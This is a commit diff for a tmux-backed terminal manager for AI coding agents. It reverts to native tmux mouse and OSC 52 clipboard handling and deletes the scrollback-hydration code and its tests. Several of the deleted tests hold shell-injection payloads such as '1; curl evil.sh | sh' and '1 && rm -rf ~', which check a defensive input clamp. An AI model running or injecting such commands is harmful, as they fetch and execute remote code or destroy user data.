Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

revert(tmux): give scrolling, selection and the clipboard back to tmux

enes162badf8baf3
diff --git a/.superpowers/native-tmux-report.md b/.superpowers/native-tmux-report.md
new file mode 100644
index 000000000..c7939b4a8
--- /dev/null
+++ b/.superpowers/native-tmux-report.md
@@ -0,0 +1,81 @@
+# Revert to native tmux (`fix/native-tmux`)
+
+## 1. Both tmux configs — native, with a working clipboard
+
+`tmuxConf` (`src/core/pty-manager.ts`) and `remoteTmuxConf` (`src/shared/ssh.ts`) are now identical
+in behavior:
+
+- `set -g mouse on` — tmux owns the wheel + selection; the pane goes back to the **alternate screen**
+ (so a TUI's input box stays put).
+- **Deleted** `terminal-overrides ',*:smcup@:rmcup@:indn@'` from both configs, and the remote
+ config's `terminal-overrides ',xterm*:Ms=…'` (it emits zero OSC 52 on tmux 3.2+).
+- **Clipboard:** kept `set -g set-clipboard on`, **added** `set -as terminal-features ",*:clipboard"`.
+ That is what actually makes tmux emit OSC 52 to the client; the renderer's existing OSC 52 handler
+ writes the system clipboard. Cross-platform, and it finally works over SSH.
+- Restored the copy-mode mouse bindings (`MouseDragEnd1Pane` / `DoubleClick1Pane` select-word /
+ `TripleClick1Pane` select-line → `copy-pipe-and-cancel`) with **no `pbcopy`** command.
+- Everything else (status off, history-limit, default-terminal, escape-time, destroy-unattached,
+ aggressive-resize) unchanged.
+
+The *why* (mouse on = tmux owns scrolling; `terminal-features`, not `Ms=`; no pbcopy) lives in the
+TS doc comments above each function, not inside the emitted conf body — the conf text itself is
+asserted not to contain `Ms=` / `pbcopy`, so the guards can't be defeated by a comment.
+
+## 2. Warm-reattach hydration — removed end to end
+
+Deleted (with their tests):
+
+| Layer | Removed |
+|---|---|
+| renderer | `warmSeed` + its call site in `TerminalNode.tsx`; `AttachReplay`'s history state; `SeedPaint`'s `'history'` member |
+| transport | `TerminalTransport.captureHistory`, `LocalTransport.captureHistory`, `RemoteTransport.captureHistory` |
+| API surface | `PtyApi.captureHistory`, `RemoteClientApi.captureHistory`, `IPC.ptyCaptureHistory`, `IPC.remoteClientCaptureHistory`, the preload entries (both), the ws-bridge entry, the stubs entry |
+| core | `PtyManager.captureHistory` + its `registerIpc` registration; `remoteCaptureHistoryArgs` (`control-master.ts`); **`src/core/history-limits.ts` deleted entirely** (`HISTORY_LINES`, `HISTORY_MAX_BYTES`, `clampHistoryLines`) |
+| relay | host-side RPC `pty.captureHistory` (`host-service.ts`: handler, dispatch case, `HostPtyApi.captureHistory`); client-side `captureHistory` handler + its IPC (`client-service.ts`) |
+
+**Also became dead and was deleted:** `trimToBytes` (`pty-manager.ts`). Its only two callers were
+`PtyManager.captureHistory` and the host `pty.captureHistory` RPC, both of which are gone. The
+scrollback-store does **not** use it — it has its own `trailing()` byte cap — so nothing else
+needed it.
+
+**Kept (still used):** `captureForResync` / `captureSnapshot` / `captureSession` (the `pty:resync`
+drop-and-redraw path and the joiner capture), `readScrollback` / `writeScrollback` /
+`scrollback-store` (cold restore), `repaintResync`, `toXtermText`, `stripTrailingNewline`,
+`shouldApplyResync`, the xterm `scrollback` option, the copy shortcuts, the OSC 52 handler,
+`macOptionClickForcesSelection`, and the browser clipboard fallback in `bridge/stubs.ts`.
+
+### The co-attach joiner still works
+
+`attachReplay` now returns `'cold-snapshot' | 'warm-attach' | 'none'`. A warm reattach
+(`warm-attach`) seeds **nothing** — tmux redraws the pane and owns its history.
+
+**Deviation from the letter of the brief, deliberate:** the brief said the warm state simply goes
+away, but `seedPaint`'s `create-screen` branch is *only reachable* from the warm state (a joiner is
+`fresh:false`, and `replay: 'none'` short-circuits to "paint nothing" — which is also what a parked
+terminal returns, and a parked terminal must never be repainted). Collapsing warm into `'none'`
+would therefore have silently broken the joiner, or forced `'none'` to stop meaning "paint nothing".
+So the state was **renamed** `warm-history` → `warm-attach` and emptied of its history behavior: it
+now yields `create-screen` when a joiner's `PtyCreateResult.screen` is present and `none` otherwise.
+The joiner's paint is unchanged in behavior (`'\x1b[0m' + toXtermText(stripTrailingNewline(screen))`
+— the same bytes `warmSeed` wrote for a screen-only seed, minus the removed history padding).
+
+## 3. Docs
+
+- `CLAUDE.md` → "Terminal session continuity (tmux)" rewritten: tmux owns the mouse, the wheel
+ scrolls tmux's own history, the pane is on the alternate screen, selection is copy-mode and the
+ clipboard is reached via `set-clipboard on` + `terminal-features clipboard` → OSC 52 → the
+ client's handler (no pbcopy, works over SSH). Explicitly records that the `Ms=` terminal-overrides
+ entry does **not** work on tmux 3.2+, and why the previous emulator-scrollback design failed
+ (tmux is a screen painter, not a stream). The "Seeding a fresh xterm" section now documents two
+ seeds + the joiner exception; the hydration prose is gone.
+- `CLAUDE.md` → the **terminal** node-kind bullet no longer claims selection is the emulator's.
+- `docs/team-presence.md` → the paragraph that made `screen` a *fallback* behind `captureHistory`
+ now says `screen` is the joiner's sole paint (the hydration it deferred to no longer exists).
+
+## Verify
+
+- `npx vitest run` → **1251 passed, 1 failed, 2 skipped**. The single failure is
+ `src/core/workspace-watcher.test.ts > fires for an outside edit, but not for a self-write`, which
+ is **pre-existing** — verified by `git stash`-ing this branch's changes and re-running it on the
+ clean tree, where it fails identically. Nothing else fails.
+- `npm run typecheck` → clean.
diff --git a/docs/team-presence.md b/docs/team-presence.md
index d6236f938..e474ba3e3 100644
--- a/docs/team-presence.md
+++ b/docs/team-presence.md
@@ -218,16 +218,14 @@ Three rules:
never reaches this path at all: a fresh spawn has nothing to paint, and a warm reattach starts a
tmux client, which redraws by itself.
-**Post-merge with `main`'s terminal work: `screen` became the joiner's FALLBACK, not its paint.**
-`main` gave every `fresh:false` attach a `warm-history` seed — it hydrates a fresh xterm from
-`transport.captureHistory` (tmux's own scrollback). A joiner is `fresh:false`, so it now lands on
-that path too, and painting *both* would splice the same screen onto the canvas twice. One source
-wins: **`captureHistory`**, because it is a strict superset of `screen` — the same tmux pane *plus*
-the scrollback above it, so the joiner opens on what its teammate sees **and** can scroll back.
-`PtyCreateResult.screen` remains as the fallback for the one case that path cannot cover:
-`captureHistory` returns `''` whenever tmux/ssh is unavailable, whereas `screen` is captured
-server-side inside `create()` and is guaranteed non-empty when present. So the joiner is painted
-**exactly once**, and never blank.
+**`screen` is the joiner's paint — and the ONLY thing a warm attach seeds.** There was briefly a
+second source: a `warm-history` seed that hydrated every `fresh:false` attach from tmux's own
+scrollback (`transport.captureHistory`). That whole hydration is **gone** — tmux owns the mouse and
+the scrollback again (see CLAUDE.md, "Terminal session continuity"), so it redraws the pane and its
+history is scrollable in place; hydrating on top of a screen *painter* is what produced the black
+bands and duplicated screens. A solo warm reattach therefore seeds **nothing**, and `seedPaint`'s
+`create-screen` — this capture — is the one seed a `warm-attach` can still yield, for the one client
+tmux does not repaint: a joiner that did not resize.
**A `pty:resync` supersedes the seed, and the queue behind it.** `main`'s attach path subscribes to
`pty:data` *before* awaiting its seed and holds the chunks in a `createDataGate`. A resync that lands
diff --git a/src/core/history-limits.ts b/src/core/history-limits.ts
deleted file mode 100644
index 85b63fce2..000000000
--- a/src/core/history-limits.ts
+++ /dev/null
@@ -1,17 +0,0 @@
-// Scrollback-hydration caps + the clamp for an untrusted `lines` request. Deliberately a tiny,
-// dependency-free module: BOTH `pty-manager` (which pulls in node-pty) and the pure ssh leaf
-// `remote-ssh/control-master` import it, so the clamp can be enforced at the actual injection
-// sink without dragging a native module into the pure builders.
-
-// Reattach hydration caps: tmux history is the source, but an attach must not stall on a huge
-// transfer (an ssh/mobile link pays for every byte, and `-e` colour codes inflate it).
-export const HISTORY_LINES = 5000
-export const HISTORY_MAX_BYTES = 1024 * 1024
-
-/** Clamp an untrusted `lines` request (it crosses IPC / WS-RPC from a renderer, and ends up
- * interpolated into a remote `tmux capture-pane -S -<n>` shell command) to a sane integer.
- * Applied at BOTH the caller (`PtyManager.captureHistory`) and the sink
- * (`remoteCaptureHistoryArgs`), so no future call site can build an injectable command. */
-export function clampHistoryLines(lines: number): number {
- return Math.min(HISTORY_LINES, Math.max(1, Math.floor(Number(lines) || HISTORY_LINES)))
-}
diff --git a/src/core/pty-manager-platform.test.ts b/src/core/pty-manager-platform.test.ts
index b31a01389..c4f9eec2f 100644
--- a/src/core/pty-manager-platform.test.ts
+++ b/src/core/pty-manager-platform.test.ts
@@ -22,8 +22,7 @@ describe('PtyManager platform registration', () => {
IPC.ptyKill,
IPC.ptyDestroy,
IPC.ptySendText,
- IPC.ptyReadScrollback,
- IPC.ptyCaptureHistory
+ IPC.ptyReadScrollback
]) {
// ptyKill is sender-aware (co-attach: unsubscribe ONE client) → senderListeners.
expect(fake.handlers[ch] ?? fake.listeners[ch] ?? fake.senderListeners[ch], ch).toBeDefined()
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.ts
index 59dd9763c..854167851 100644
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@ -19,10 +19,8 @@ import {
remoteTmuxHasSessionArgs,
remoteTmuxKillArgs,
remoteTmuxPtyArgs,
- remoteCapturePaneArgs,
- remoteCaptureHistoryArgs
+ remoteCapturePaneArgs
} from './remote-ssh/control-master'
-import { HISTORY_LINES, HISTORY_MAX_BYTES, clampHistoryLines } from './history-limits'
import { TMUX_SOCKET, sessionName } from './tmux-naming'
import { releasePty, type ReleasablePty } from './pty-release'
import { effectiveSize, type PtySize } from './pty-size'
@@ -37,11 +35,6 @@ import { presenceHub } from './presence/hub'
// runs on detach; the interval covers an ungraceful power loss between detaches.
const SCROLLBACK_SNAPSHOT_MS = 15_000
-// Reattach hydration caps + the untrusted-`lines` clamp live in a dependency-free module so the
-// pure ssh arg builders can enforce the same clamp without importing node-pty. Re-exported here
-// because it is part of this module's public surface (callers/tests import it from pty-manager).
-export { clampHistoryLines } from './history-limits'
-
// Async exec for tmux side-calls (capture / send-keys / kill-session) so they never block
// the main event loop — a synchronous capture-pane of a large scrollback would stall every
// other session's PTY streaming and all IPC for its duration.
@@ -51,52 +44,47 @@ const runAsync = promisify(execFile)
// (under our socket) keeps sessions alive while no client is attached, which is what
// gives us continuity across node remounts and full app restarts.
//
-// The mouse is deliberately OFF: with it on, a drag became a tmux copy-mode selection,
-// which the terminal emulator cannot see (so xterm's own selection + Cmd+C never worked,
-// and copying depended on a macOS-only pbcopy pipe). With it off, a drag is xterm's own
-// selection. Applications that request mouse tracking themselves (vim, htop) still get
-// their mouse events — tmux forwards those regardless of this option.
+// The mouse is ON, i.e. TMUX owns scrolling and selection — this is the native behavior, and the
+// capabilities are deliberately NOT blanked, so the client uses the ALTERNATE screen (\e[?1049h).
+// A previous design took scrolling away from tmux (mouse off + `smcup@:rmcup@:indn@`, normal
+// screen, output flowing into the emulator's own scrollback, hydrated from `capture-pane` on
+// reattach) and it failed structurally: tmux is a screen PAINTER, not a stream — every redraw
+// (attach, resize, refresh) erases and repaints, so blank and duplicated rows leaked into the
+// emulator's scrollback (black bands, duplicated screens) and a full-screen TUI's input box
+// scrolled away with the text instead of staying put. Do not re-derive that: with the mouse on,
+// the wheel scrolls tmux's OWN history, the pane stays sticky, and there is nothing to hydrate.
+//
+// COPY: selection is tmux copy-mode, and the clipboard is reached via OSC 52 — `set-clipboard on`
+// plus `terminal-features ",*:clipboard"`. The `terminal-features` entry is the load-bearing one:
+// on tmux 3.2+ the old `terminal-overrides ',xterm*:Ms=\E]52;...'` route does NOT work (measured:
+// a copy emitted ZERO OSC 52 to the attached client with the `Ms=` override, and the correct
+// payload with `terminal-features`). The renderer's OSC 52 handler writes the system clipboard, so
+// this is the copy path on EVERY platform and over SSH — no `pbcopy` pipe (that was macOS-only,
+// and half of why copying was broken).
export function tmuxConf(scrollback: number): string {
return `# auto-generated by node-terminal — do not edit
set -g status off
-set -g mouse off
+set -g mouse on
set -g history-limit ${Math.max(1000, scrollback)}
set -g default-terminal "xterm-256color"
set -sg escape-time 10
set -g destroy-unattached off
setw -g aggressive-resize on
-# Not our copy path any more (the emulator owns selection), but kept so an app that emits
-# OSC 52 itself (vim "+y, gh, yazi) still reaches the local clipboard via the client's handler.
+# Copy to the SYSTEM clipboard via OSC 52 (the client's terminal writes it). BOTH lines are needed
+# on tmux 3.2+ — see tmuxConf's doc comment before touching either.
set -g set-clipboard on
-# Two capabilities are blanked (@), and BOTH are load-bearing for scrollback:
-# - smcup/rmcup: without them blanked the client enters the alternate screen (\\e[?1049h), which
-# has NO scrollback at all — neither xterm's own nor the history we hydrate on a warm reattach
-# would be reachable.
-# - indn (parm_index): with it advertised, tmux scrolls the pane with CSI S (SU). xterm.js
-# implements SU as a REGION scroll and DISCARDS the lines it pushes off the top — they never
-# reach the scrollback (real xterm saves them; xterm.js does not). Blanked, tmux falls back to
-# plain line feeds at the bottom row, which xterm DOES push into the scrollback. Measured: with
-# indn advertised, 80 lines of output left baseY=0 (nothing scrollable); blanked, baseY=58.
-set -ga terminal-overrides ',*:smcup@:rmcup@:indn@'
+set -as terminal-features ",*:clipboard"
+# Mouse copy: on release tmux copies to its buffer AND (thanks to the two lines above) emits OSC 52,
+# which the client writes to the system clipboard. No pipe-to-a-local-command here, deliberately.
+bind -T copy-mode MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel
+bind -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel
+bind -T copy-mode DoubleClick1Pane send-keys -X select-word \\; send-keys -X copy-pipe-and-cancel
+bind -T copy-mode-vi DoubleClick1Pane send-keys -X select-word \\; send-keys -X copy-pipe-and-cancel
+bind -T copy-mode TripleClick1Pane send-keys -X select-line \\; send-keys -X copy-pipe-and-cancel
+bind -T copy-mode-vi TripleClick1Pane send-keys -X select-line \\; send-keys -X copy-pipe-and-cancel
`
}
-/** Trim `text` to at most `maxBytes`, dropping whole lines from the HEAD (oldest first) and
- * never splitting a multi-byte character. */
-export function trimToBytes(text: string, maxBytes: number): string {
- const buf = Buffer.from(text, 'utf-8')
- if (buf.byteLength <= maxBytes) return text
- // Walk the start index forward past any UTF-8 continuation bytes (0x80–0xBF) so the window
- // begins on a character boundary. Decoding mid-character would otherwise yield U+FFFD
- // replacement chars, which are 3 bytes each and can push the result BACK over maxBytes.
- let start = buf.byteLength - maxBytes
- while (start < buf.byteLength && (buf[start] & 0xc0) === 0x80) start++
- const tail = buf.subarray(start).toString('utf-8')
- // Drop the partial first line — it is the oldest content and the least missed.
- const nl = tail.indexOf('\n')
- return nl === -1 ? tail : tail.slice(nl + 1)
-}
-
/** Resolve an absolute tmux path (GUI apps don't inherit the shell PATH). */
function findTmux(): string | null {
for (const c of ['/opt/homebrew/bin/tmux', '/usr/local/bin/tmux', '/usr/bin/tmux', '/bin/tmux']) {
@@ -621,7 +609,6 @@ export class PtyManager {
platform().handle(IPC.ptyReadScrollback, (persistKey: string) =>
readScrollback(persistKey)
)
- platform().handle(IPC.ptyCaptureHistory, (persistKey: string) => this.captureHistory(persistKey))
platform().handle(IPC.ptySendText, (persistKey: string, text: string) =>
this.sendText(persistKey, text)
)
@@ -1634,53 +1621,6 @@ export class PtyManager {
return this.captureSnapshot(key)
}
- /**
- * Capture a session's scrollback for hydrating a fresh emulator on a warm reattach (the app
- * restarted; tmux kept running and only redraws the visible screen).
- *
- * The capture INCLUDES the visible screen (no `-E -1`). tmux's attach redraw starts with
- * `\x1b[H\x1b[2J`, and xterm's eraseInDisplay(2) resets the viewport lines IN PLACE — it does
- * not push them into scrollback — so it erases exactly the newest `rows` lines of whatever we
- * just hydrated. Excluding the visible screen would therefore guarantee a one-screenful gap at
- * the seam; capturing it and letting the redraw overwrite it gives neither gap nor duplication.
- * Best-effort: returns '' when tmux/ssh is unavailable.
- */
- async captureHistory(persistKey: string, lines = HISTORY_LINES): Promise<string> {
- // `lines` is untrusted (it arrives from the renderer — a browser client in Server Edition)
- // and is interpolated into a REMOTE shell command below. Clamp at the entry point.
- const n = clampHistoryLines(lines)
- const sshRemote = this.sessionByPersistKey(persistKey)?.sshRemote
- if (sshRemote) {
- const ssh = findSsh()
- if (!ssh) return ''
- try {
- const { stdout } = await runAsync(
- ssh,
- remoteCaptureHistoryArgs(sshRemote.conn, sshRemote.controlPath, sessionName(persistKey), n),
- { encoding: 'utf-8', maxBuffer: 50 * 1024 * 1024 }
- )
- return trimToBytes(stdout, HISTORY_MAX_BYTES)
- } catch {
- return ''
- }
- }
- if (!this.tmuxPath) return ''
- try {
- const { stdout } = await runAsync(
- this.tmuxPath,
- // `-J` unwraps: capture-pane hard-wraps each line at the HOST pane's width, and a client
- // whose terminal is narrower (a phone) would re-wrap those fragments into ragged nonsense.
- // `-E -1` excludes the visible screen — tmux repaints that itself on attach (see `warmSeed`).
- // prettier-ignore
- ['-L', TMUX_SOCKET, 'capture-pane', '-p', '-e', '-J', '-t', sessionName(persistKey), '-S', `-${n}`, '-E', '-1'],
- { encoding: 'utf-8', maxBuffer: 50 * 1024 * 1024 }
- )
- return trimToBytes(stdout, HISTORY_MAX_BYTES)
- } catch {
- return ''
- }
- }
-
/**
* Snapshot a node's recent scrollback (with colors, `-e`) to disk for cold-restart replay.
* Best-effort: a missing session / unavailable tmux just leaves the prior snapshot in place.
diff --git a/src/core/remote-ssh/control-master.test.ts b/src/core/remote-ssh/control-master.test.ts
index baf5b21c2..66c6fa0c0 100644
--- a/src/core/remote-ssh/control-master.test.ts
+++ b/src/core/remote-ssh/control-master.test.ts
@@ -6,7 +6,6 @@ import {
childArgs,
remoteTmuxHasSessionArgs,
remoteCapturePaneArgs,
- remoteCaptureHistoryArgs,
remoteTmuxPtyArgs,
listDirArgs,
mkDirArgs,
@@ -17,7 +16,6 @@ import {
remoteEndpointFileContents,
scpArgs
} from './control-master'
-import { clampHistoryLines } from '../history-limits'
const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }
@@ -185,40 +183,3 @@ describe('listDirArgs', () => {
])
})
})
-
-describe('remoteCaptureHistoryArgs', () => {
- it('captures UNWRAPPED history EXCLUDING the visible screen (-J, -E -1)', () => {
- const args = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', 5000)
- const cmd = args[args.length - 1]
- // `-J` unwraps: capture-pane hard-wraps at the HOST pane's width, so a narrower client (a
- // phone) would re-wrap those fragments raggedly. `-E -1` drops the visible screen — tmux
- // repaints it on attach, and `warmSeed` pushes the history above the fold so the two never
- // overlap. Including it (and relying on the redraw to overwrite it) only works while the
- // client's geometry matches the pane's, which on a phone it never does: the leftover rows
- // survive in the scrollback as a duplicate of what is on screen.
- expect(cmd).toContain('capture-pane -p -e -J -t nt-x -S -5000 -E -1')
- })
- it('a hostile `lines` value clamped by the caller cannot inject shell (defence in depth)', () => {
- const n = clampHistoryLines('1; curl evil | sh' as unknown as number)
- const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', n).slice(-1)[0]
- expect(cmd).not.toContain('curl')
- expect(cmd).toContain('capture-pane -p -e -J -t nt-x -S -5000 -E -1')
- })
- it('clamps at the sink: a hostile value passed DIRECTLY never reaches the command string', () => {
- // A future call site (IPC handler / Server Edition shell) that forgets the caller-side clamp
- // must still not be able to build `tmux … -S -1; curl evil.sh | sh`.
- const hostile = ['1; curl evil.sh | sh', '1 && rm -rf ~', '$(id)', '`id`', '1\nid'] as unknown as number[]
- for (const bad of hostile) {
- const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', bad).slice(-1)[0]
- expect(cmd, String(bad)).toContain('capture-pane -p -e -J -t nt-x -S -5000 -E -1')
- expect(cmd, String(bad)).not.toMatch(/[;&|`$()\n]/)
- }
- })
- it('clamps out-of-range numbers at the sink (floor 1, ceiling 5000, NaN → default)', () => {
- const cmdFor = (n: number): string => remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', n).slice(-1)[0]
- expect(cmdFor(-1)).toContain('-S -1')
- expect(cmdFor(10_000_000)).toContain('-S -5000')
- expect(cmdFor(NaN)).toContain('-S -5000')
- expect(cmdFor(12.9)).toContain('-S -12')
- })
-})
diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.ts
index 16465309b..ef25b97aa 100644
--- a/src/core/remote-ssh/control-master.ts
+++ b/src/core/remote-ssh/control-master.ts
@@ -5,7 +5,6 @@ import path from 'path'
import { createHash } from 'crypto'
import { quoteRemotePath, remoteTmuxCommand, type SshConnection } from '../../shared/ssh'
// Dependency-free (no node-pty): safe to import from these pure builders.
-import { clampHistoryLines } from '../history-limits'
/** Dedicated remote tmux socket so an SSH project never collides with the user's own tmux. */
export const RMT_TMUX_SOCKET = 'nodeterm-rmt'
@@ -78,28 +77,6 @@ export function remoteCapturePaneArgs(conn: SshConnection, controlPath: string,
`tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -t ${sessionId} -S ${full ? '-' : '-200'}`
)
}
-/** Capture the session's history INCLUDING the visible screen (deliberately no `-E -1`). tmux's
- * attach redraw begins with `\x1b[H\x1b[2J`, and xterm's eraseInDisplay(2) resets the viewport
- * lines in place rather than scrolling them into scrollback — so it wipes the newest screenful
- * of anything we hydrated. Capturing the visible screen and letting the redraw overwrite it
- * leaves neither a gap nor a duplicate.
- * `lines` is interpolated into a remote shell command run by the login shell, so it is clamped
- * HERE, at the injection sink — not left to a caller-side convention that a future call site
- * (an IPC handler, the Server Edition shell) could forget. `PtyManager.captureHistory` clamps
- * again at its entry point; the clamp is idempotent. */
-export function remoteCaptureHistoryArgs(
- conn: SshConnection,
- controlPath: string,
- sessionId: string,
- lines: number
-): string[] {
- const n = clampHistoryLines(lines)
- return childArgs(
- conn,
- controlPath,
- `tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -J -t ${sessionId} -S -${n} -E -1`
- )
-}
export function tmuxProbeArgs(conn: SshConnection, controlPath: string): string[] {
return childArgs(conn, controlPath, 'command -v tmux')
}
diff --git a/src/core/tmux-conf.test.ts b/src/core/tmux-conf.test.ts
index 82fff3bc4..e3b9cb29f 100644
--- a/src/core/tmux-conf.test.ts
+++ b/src/core/tmux-conf.test.ts
@@ -1,145 +1,43 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
+import { describe, it, expect } from 'vitest'
-// captureHistory shells out through promisify(execFile) — capture the argv it builds so we can
-// prove a hostile `lines` value never reaches the command string.
-const execFileCalls: Array<{ file: string; args: string[] }> = []
-vi.mock('child_process', () => ({
- execFile: (file: string, args: string[], _opts: unknown, cb: (e: unknown, r: unknown) => void) => {
- execFileCalls.push({ file, args })
- cb(null, { stdout: '', stderr: '' })
- },
- execFileSync: () => ''
-}))
-
-import { tmuxConf, trimToBytes, clampHistoryLines, PtyManager } from './pty-manager'
+import { tmuxConf } from './pty-manager'
describe('tmuxConf', () => {
const c = tmuxConf(50000)
- it('leaves the mouse off so drags are xterm\'s own selection', () => {
- expect(c).toContain('set -g mouse off')
- expect(c).not.toContain('set -g mouse on')
- })
- it('binds no mouse keys and no longer shells out to pbcopy', () => {
- expect(c).not.toContain('MouseDragEnd1Pane')
- expect(c).not.toContain('copy-pipe-and-cancel')
- expect(c).not.toContain('pbcopy')
- })
- it('keeps OSC 52 as a safety net for apps that emit it themselves', () => {
- expect(c).toContain('set -g set-clipboard on')
- })
- it('blanks smcup/rmcup AND indn — either one alone leaves nothing to scroll', () => {
- // Without this, tmux enters the alternate screen (\x1b[?1049h), which has no scrollback:
- // xterm's scrollback + the hydrated tmux history would both be invisible.
- // smcup@/rmcup@: the alternate screen has no scrollback at all.
- // indn@: with `indn` advertised tmux scrolls the pane with CSI S (SU), and xterm.js DISCARDS
- // the lines SU pushes off the top instead of saving them — 80 lines of output left baseY=0
- // (nothing to scroll). Blanked, tmux uses plain line feeds, which xterm does save.
- expect(c).toContain(`set -ga terminal-overrides ',*:smcup@:rmcup@:indn@'`)
- })
- it('floors history-limit at 1000', () => {
- expect(tmuxConf(10)).toContain('set -g history-limit 1000')
- })
-})
-
-describe('trimToBytes', () => {
- it('returns the text untouched when it is under the cap', () => {
- expect(trimToBytes('hello', 1024)).toBe('hello')
- })
- it('trims from the HEAD (the oldest lines go first)', () => {
- const out = trimToBytes('aaaa\nbbbb\ncccc\n', 10)
- expect(out.endsWith('cccc\n')).toBe(true)
- expect(out).not.toContain('aaaa')
- expect(Buffer.byteLength(out, 'utf-8')).toBeLessThanOrEqual(10)
- })
- it('drops the partial first line when the byte window starts mid-line', () => {
- // A 12-byte window over 15 bytes starts at 'a\nbbbb\ncccc\n' — the head line is partial and
- // must be dropped whole, not emitted as 'a'.
- expect(trimToBytes('aaaa\nbbbb\ncccc\n', 12)).toBe('bbbb\ncccc\n')
- })
- it('never splits a 2-byte character (cap lands mid-character)', () => {
- // 'ü' is 2 bytes; a cap of 9 slices the 100-byte buffer mid-character.
- const out = trimToBytes('ü'.repeat(50), 9)
- expect(out).not.toContain('�')
- expect(Buffer.byteLength(out, 'utf-8')).toBeLessThanOrEqual(9)
- })
- it('never splits a 4-byte character (cap lands mid-character)', () => {
- const out = trimToBytes('😀'.repeat(20), 11)
- expect(out).not.toContain('�')
- expect(Buffer.byteLength(out, 'utf-8')).toBeLessThanOrEqual(11)
- })
- it('honours the cap and stays clean on the no-newline path with multi-byte text', () => {
- for (const cap of [1, 2, 3, 5, 7, 9, 11, 13]) {
- const out = trimToBytes('aü😀b'.repeat(30), cap)
- expect(out, `cap=${cap}`).not.toContain('�')
- expect(Buffer.byteLength(out, 'utf-8'), `cap=${cap}`).toBeLessThanOrEqual(cap)
- }
- })
- it('keeps the newest content when there is no newline at all', () => {
- const out = trimToBytes('abcdefghij', 4)
- expect(out).toBe('ghij')
- })
-})
-describe('clampHistoryLines', () => {
- it('keeps a sane request', () => {
- expect(clampHistoryLines(200)).toBe(200)
- })
- it('caps at the history ceiling and floors at 1', () => {
- expect(clampHistoryLines(10_000_000)).toBe(5000)
- expect(clampHistoryLines(-5)).toBe(1)
- expect(clampHistoryLines(0)).toBe(5000) // falsy → default
+ it('leaves the mouse ON — tmux owns scrolling and selection', () => {
+ // The wheel scrolls tmux's own history and the pane stays on the alternate screen (so a TUI's
+ // input box stays put). The previous design (mouse off, emulator-owned scrollback) leaked
+ // tmux's repaints into the scrollback as black bands and duplicated screens.
+ expect(c).toContain('set -g mouse on')
+ expect(c).not.toContain('set -g mouse off')
})
- it('rejects non-numeric / hostile input', () => {
- expect(clampHistoryLines('1; curl evil | sh' as unknown as number)).toBe(5000)
- expect(clampHistoryLines(NaN)).toBe(5000)
- expect(clampHistoryLines(undefined as unknown as number)).toBe(5000)
- expect(clampHistoryLines(12.9)).toBe(12)
- })
-})
-describe('PtyManager.captureHistory (untrusted `lines`)', () => {
- beforeEach(() => {
- execFileCalls.length = 0
+ it('does not blank smcup/rmcup/indn — the alternate screen is the native, wanted behavior', () => {
+ expect(c).not.toContain('smcup@')
+ expect(c).not.toContain('rmcup@')
+ expect(c).not.toContain('indn@')
})
- const withTmux = (): PtyManager => {
- const pm = new PtyManager()
- ;(pm as unknown as { tmuxPath: string }).tmuxPath = '/usr/bin/tmux'
- return pm
- }
- // The `-S` OPERAND is the only untrusted slot: `-1` is always present as the `-E` operand, so
- // assert positionally (a `toContain('-1')` would pass even with the clamp deleted).
- const historyOperand = (call: number): string => {
- const args = execFileCalls[call].args
- return args[args.indexOf('-S') + 1]
- }
-
- it('never lets a shell-injection payload reach the tmux argv', async () => {
- await withTmux().captureHistory('n1', '1; curl evil | sh' as unknown as number)
- const argv = execFileCalls[0].args.join(' ')
- expect(argv).not.toContain('curl')
- expect(argv).not.toContain(';')
- expect(historyOperand(0)).toBe('-5000')
+ it('enables OSC 52 via terminal-features, NOT the Ms= override (a no-op on tmux 3.2+)', () => {
+ // Measured on tmux 3.4: with `terminal-overrides ,xterm*:Ms=...` a copy emitted ZERO OSC 52 to
+ // the attached client; with the `clipboard` terminal-feature it emitted the correct payload.
+ expect(c).toContain('set -g set-clipboard on')
+ expect(c).toContain('set -as terminal-features ",*:clipboard"')
+ expect(c).not.toContain('Ms=')
})
- it('clamps negative / NaN / oversized values to a sane integer', async () => {
- const pm = withTmux()
- await pm.captureHistory('n1', -1)
- expect(historyOperand(0)).toBe('-1') // floored to 1 line; without the clamp this would be `--1`
- await pm.captureHistory('n1', NaN)
- expect(historyOperand(1)).toBe('-5000')
- await pm.captureHistory('n1', 10_000_000)
- expect(historyOperand(2)).toBe('-5000')
- await pm.captureHistory('n1', 12.9)
- expect(historyOperand(3)).toBe('-12')
+ it('copies mouse selections through tmux (OSC 52), with no macOS-only pbcopy pipe', () => {
+ expect(c).toContain('bind -T copy-mode MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel')
+ expect(c).toContain('bind -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel')
+ expect(c).toContain('DoubleClick1Pane send-keys -X select-word')
+ expect(c).toContain('TripleClick1Pane send-keys -X select-line')
+ // pbcopy is macOS-only — half of why copying never worked elsewhere or over SSH.
+ expect(c).not.toContain('pbcopy')
})
- it('keeps the exact capture command shape on the local path', async () => {
- await withTmux().captureHistory('n1', 200)
- const argv = execFileCalls[0].args.join(' ')
- // `-J` unwraps the host pane's hard wrap (a narrower client re-wraps the fragments into
- // ragged nonsense otherwise); `-E -1` excludes the visible screen, which tmux repaints itself
- // on attach — the seed pushes the history above the fold so the redraw overwrites nothing.
- expect(argv).toContain('capture-pane -p -e -J -t nt-n1 -S -200 -E -1')
+ it('floors history-limit at 1000', () => {
+ expect(tmuxConf(10)).toContain('set -g history-limit 1000')
+ expect(c).toContain('set -g history-limit 50000')
})
})
diff --git a/src/main/remote-ssh/ssh-project.test.ts b/src/main/remote-ssh/ssh-project.test.ts
index 541f40ad9..77b208c21 100644
